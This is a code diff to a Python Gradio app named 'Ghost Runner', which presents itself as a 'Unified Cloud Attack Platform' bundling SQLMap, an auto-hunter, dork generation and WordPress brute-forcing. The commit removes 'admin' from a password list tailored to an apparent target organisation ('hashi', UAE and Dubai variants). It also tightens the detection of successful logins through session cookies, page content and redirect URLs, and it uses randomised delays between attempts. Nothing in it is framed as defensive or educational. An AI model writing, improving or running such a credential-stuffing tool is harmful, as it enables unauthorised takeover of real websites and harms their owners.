Update app.py

app.py

@@ -155,9 +155,10 @@ def auto_hunt(domain):
     else:
         yield "\n🎉 HUNT COMPLETE!"
 
-# --- Brute Force Logic (Merged) ---
+# --- Brute Force Logic (Fixed v2.2) ---
+# Removed 'admin' from default list to avoid stopping early on false positives
 PASSWORDS = [
-    "admin", "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
+    "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
     "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
     "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
     "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
@@ -183,7 +184,7 @@ def brute_force(url, username, custom_list):
 
     for pwd in pass_list:
         try:
-            time.sleep(random.uniform(0.5, 1.5)) # Faster in cloud
+            time.sleep(random.uniform(0.5, 1.5)) 
             data = {
                 "log": username, "pwd": pwd, "wp-submit": "Log In",
                 "redirect_to": f"{url}/wp-admin/", "testcookie": "1"
@@ -192,18 +193,25 @@ def brute_force(url, username, custom_list):
             
             r = session.post(url, data=data, timeout=5, allow_redirects=True)
             
-            if any(s in r.text for s in ["dashboard", "wp-admin", "Log Out", "Howdy"]):
+            # STRICT CHECK v2.2
+            # 1. Login Cookie Check is best
+            cookies = session.cookies.get_dict()
+            logged_in_cookie = any('wordpress_logged_in' in c for c in cookies)
+
+            # 2. Strict Content Check
+            success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"])
+            
+            # 3. Strict URL Check (Must NOT contain wp-login.php)
+            is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url
+
+            if logged_in_cookie or success_content or is_redirected_to_admin:
                 yield "✅ SUCCESS! 🔓\n"
                 yield f"🎉 CREDENTIALS FOUND: {username}:{pwd}\n"
                 return
             elif "incorrect_password" in r.text or "lost your password" in r.text:
                 yield "❌ Failed.\n"
-            elif "wp-admin" in r.url:
-                 yield "✅ SUCCESS (Redirect)! 🔓\n"
-                 yield f"🎉 CREDENTIALS FOUND: {username}:{pwd}\n"
-                 return
             else:
-                yield "❌ Failed.\n"
+                yield "❌ Failed (Generic).\n"
                 
         except Exception as e:
             yield f"⚠️ Error: {str(e)}\n"
@@ -237,7 +245,7 @@ def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_err
     return "\n".join(dorks)
 
 with gr.Blocks() as demo:
-    gr.Markdown("# 🌊 GHOST RUNNER v2.1 (FIXED) 👻")
+    gr.Markdown("# 🌊 GHOST RUNNER v2.2 (STRICT) 👻")
     gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
     
     with gr.Tabs():
@@ -319,7 +327,7 @@ with gr.Blocks() as demo:
     btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
 
 if __name__ == "__main__":
-    print("✨ Ghost Runner v2.1 Command Center Live.")
+    print("✨ Ghost Runner v2.2 (Strict) Command Center Live.")
     demo.queue().launch(
         server_name="0.0.0.0", 
         server_port=7860,